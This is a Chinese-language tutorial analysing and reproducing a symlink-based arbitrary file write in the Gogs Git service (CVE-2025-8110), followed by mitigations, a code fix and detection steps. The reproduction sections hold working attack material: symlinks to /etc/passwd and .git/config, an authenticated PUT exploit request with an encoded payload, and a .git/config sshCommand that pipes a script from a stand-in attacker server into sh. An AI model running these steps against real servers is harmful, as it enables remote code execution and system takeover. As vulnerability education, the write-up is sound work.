CVE-2025-8110 Gogs 任意文件写入漏洞分析与复现教学文档

1. 漏洞概述

CVE-2025-8110 是 Gogs 自建 Git 服务中的一个高危安全漏洞，属于任意文件写入漏洞。攻击者通过利用符号链接（Symbolic Link）特性，可以覆盖服务器上的任意文件，最终实现远程代码执行（RCE）。

1.1 漏洞本质

• 漏洞类型：任意文件写入 → 远程代码执行（RCE）
• 根本原因：Gogs 在处理文件更新时，未对符号链接文件进行安全校验
• 技术原理：利用 Git 支持符号链接的特性，结合 Gogs 的 API 接口实现文件覆盖

1.2 影响范围

• 影响版本：截至 2025年12月，所有版本均未修复
• 受影响资产：约 50,000 个 Gogs 实例（主要为企业内网部署）
• 系统要求：Linux 系统（符号链接特性依赖）

1.3 利用前提条件

1. 目标 Gogs 实例开启用户注册功能
2. 存在 /api/v1/repos/:username/:reponame/contents/* PUT 接口
3. 攻击者能够注册账户并创建仓库

2. 漏洞技术分析

2.1 漏洞位置分析

核心文件：internal/database/repo_editor.go

关键函数：UpdateRepoFile 函数（第191行附近）

// 漏洞代码逻辑
if err := os.WriteFile(filePath, []byte(Content), 0600); err != nil {
    log.Println("write file: %v", err)
}

函数参数说明：

• filePath：目标文件路径（攻击者可控）
• Content：写入内容（攻击者可控）
• FileMode：文件权限（0600）

2.2 漏洞触发机制

1. 符号链接上传：攻击者通过 Git 推送包含符号链接的文件到仓库
2. API 触发更新：通过 PUT 接口触发文件更新操作
3. 文件写入绕过：Gogs 直接对符号链接指向的真实路径进行写入

2.3 历史修复对比

此前修复的 CVE-2024-55947 采用了路径净化措施：

func Clean(p string) string {
    p = strings.ReplaceAll(p, `\`, "/")
    return strings.Trim(path.Clean("/"+p), "/")
}

但此修复仅针对路径穿越，无法防御符号链接攻击。

3. 环境搭建与配置

3.1 Docker 环境部署

docker run -d \
    --name gogs \
    -p 3000:3000 \
    -p 2022:22 \
    -v /var/gogs:/data \
    gogs/gogs

3.2 初始配置步骤

1. 访问 http://localhost:3000 完成安装
2. 数据库选择：SQLite（简化部署）
3. 重要：不设置管理员账户（使用普通用户测试）
4. 完成基础配置后注册测试用户

3.3 SSH 密钥配置

1. 登录后进入用户设置 → SSH 密钥
2. 添加攻击者 SSH 公钥
3. 生成访问令牌（API 认证用）

3.4 SSH 连接测试

配置 ~/.ssh/config：

Host gogs
    HostName 192.168.1.104
    User git
    Port 2022
    IdentityFile ~/.ssh/id_rsa

测试连接：ssh -T -p 2022 git@localhost

4. 漏洞复现详细步骤

4.1 第一阶段：准备恶意仓库

4.1.1 本地仓库初始化

# 创建本地仓库
mkdir malicious-repo && cd malicious-repo
git init

# 配置用户信息
git config user.name "attacker"
git config user.email "attacker@example.com"

# 创建符号链接文件
ln -s /etc/passwd malicious-link
ln -s /tmp/pwned test-link
ln -s .git/config config-link

4.1.2 Git 远程仓库配置

# 添加远程仓库
git remote add origin ssh://git@localhost:2022/attacker/malicious-repo.git

# 提交符号链接文件
git add .
git commit -m "Add symbolic links"
git branch -M main
git push -u origin main

4.2 第二阶段：API 攻击利用

4.2.1 基础攻击数据包

PUT /api/v1/repos/attacker/malicious-repo/contents/malicious-link HTTP/1.1
Host: 192.168.1.104:3000
User-Agent: python-requests/2.32.3
Accept: application/json
Content-Type: application/json
Authorization: token YOUR_ACCESS_TOKEN_HERE
Content-Length: 78

{
    "message": "Update malicious file",
    "content": "ZWNobyAiSGFja2VkIiA+PiAvZXRjL3Bhc3N3ZA==",
    "branch": "main"
}

4.2.2 关键参数说明

• content：Base64 编码的攻击载荷
• branch：目标分支（默认为 master）
• 文件路径：对应仓库中的符号链接文件名

4.3 第三阶段：攻击载荷设计

4.3.1 任意文件写入验证

攻击载荷：echo "Hacked" >> /etc/passwd
Base64 编码：ZWNobyAiSGFja2VkIiA+PiAvZXRjL3Bhc3N3ZA==

4.3.2 RCE 实现方案

通过覆盖 .git/config 文件实现命令执行：

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
    sshCommand = "curl http://attacker-server.com/shell.sh | sh"
[remote "origin"]
    url = ssh://git@localhost:2022/attacker/malicious-repo.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
    remote = origin
    merge = refs/heads/main

触发条件：仓库所有者执行 git pull 或 git clone 操作

5. 漏洞原理深入分析

5.1 符号链接在 Git 中的表现

Git 使用特殊的文件模式表示符号链接：

# Git 中符号链接的文件模式
120000 — 符号链接（symlink）

Git 仓库中符号链接以原样存储，检查时还原为真实的符号链接。

5.2 Gogs 文件处理流程

1. 文件接收：通过 Git 推送接收符号链接文件
2. 存储处理：符号链接在仓库中保持原样存储
3. API 触发：PUT 请求触发 UpdateRepoFile 函数
4. 写入执行：os.WriteFile 对符号链接指向的真实路径进行写入

5.3 漏洞利用链完整分析

攻击者本地创建符号链接
    ↓
Git 推送到 Gogs 仓库
    ↓
符号链接在仓库中保持
    ↓
通过 PUT API 触发文件更新
    ↓
Gogs 调用 os.WriteFile
    ↓
写入符号链接指向的真实路径
    ↓
实现任意文件覆盖

6. 防御与修复方案

6.1 临时缓解措施

1. 关闭用户注册：防止攻击者创建恶意仓库
2. 网络隔离：将 Gogs 部署在内网，限制外部访问
3. 权限控制：使用最小权限原则运行 Gogs 服务

6.2 代码层面修复建议

// 修复方案：检查文件是否为符号链接
func safeWriteFile(filePath string, data []byte, perm os.FileMode) error {
    // 检查是否为符号链接
    fileInfo, err := os.Lstat(filePath)
    if err != nil {
        return err
    }
    
    // 如果是符号链接，拒绝操作
    if fileInfo.Mode()&os.ModeSymlink != 0 {
        return errors.New("symbolic links are not allowed")
    }
    
    return os.WriteFile(filePath, data, perm)
}

6.3 长期安全建议

1. 输入验证：对所有用户输入进行严格验证
2. 文件操作安全：文件操作前进行类型检查
3. 安全审计：定期进行代码安全审计
4. 更新跟进：关注官方修复进展并及时更新

7. 检测与验证

7.1 漏洞存在性检测

1. 注册测试：检查是否允许新用户注册
2. API 接口测试：验证 PUT 接口是否可用
3. 符号链接测试：尝试创建包含符号链接的仓库

7.2 修复验证方法

1. 符号链接阻止：测试是否能够成功推送符号链接文件
2. 文件写入验证：验证符号链接指向的文件是否被修改
3. 日志监控：检查安全日志中是否有相关阻止记录

8. 总结

CVE-2025-8110 漏洞展示了在文件处理过程中对符号链接安全检查的重要性。该漏洞利用链清晰，危害严重，能够导致完整的系统沦陷。开发者在实现文件操作功能时，必须充分考虑各种文件类型的处理安全性，避免类似安全问题的发生。

核心要点总结：

• 符号链接在文件系统中的特殊行为需要特别关注
• Git 仓库中符号链接的处理需要额外安全措施
• 文件路径净化不等于文件类型安全检查
• 最小权限原则是防御此类漏洞的重要基础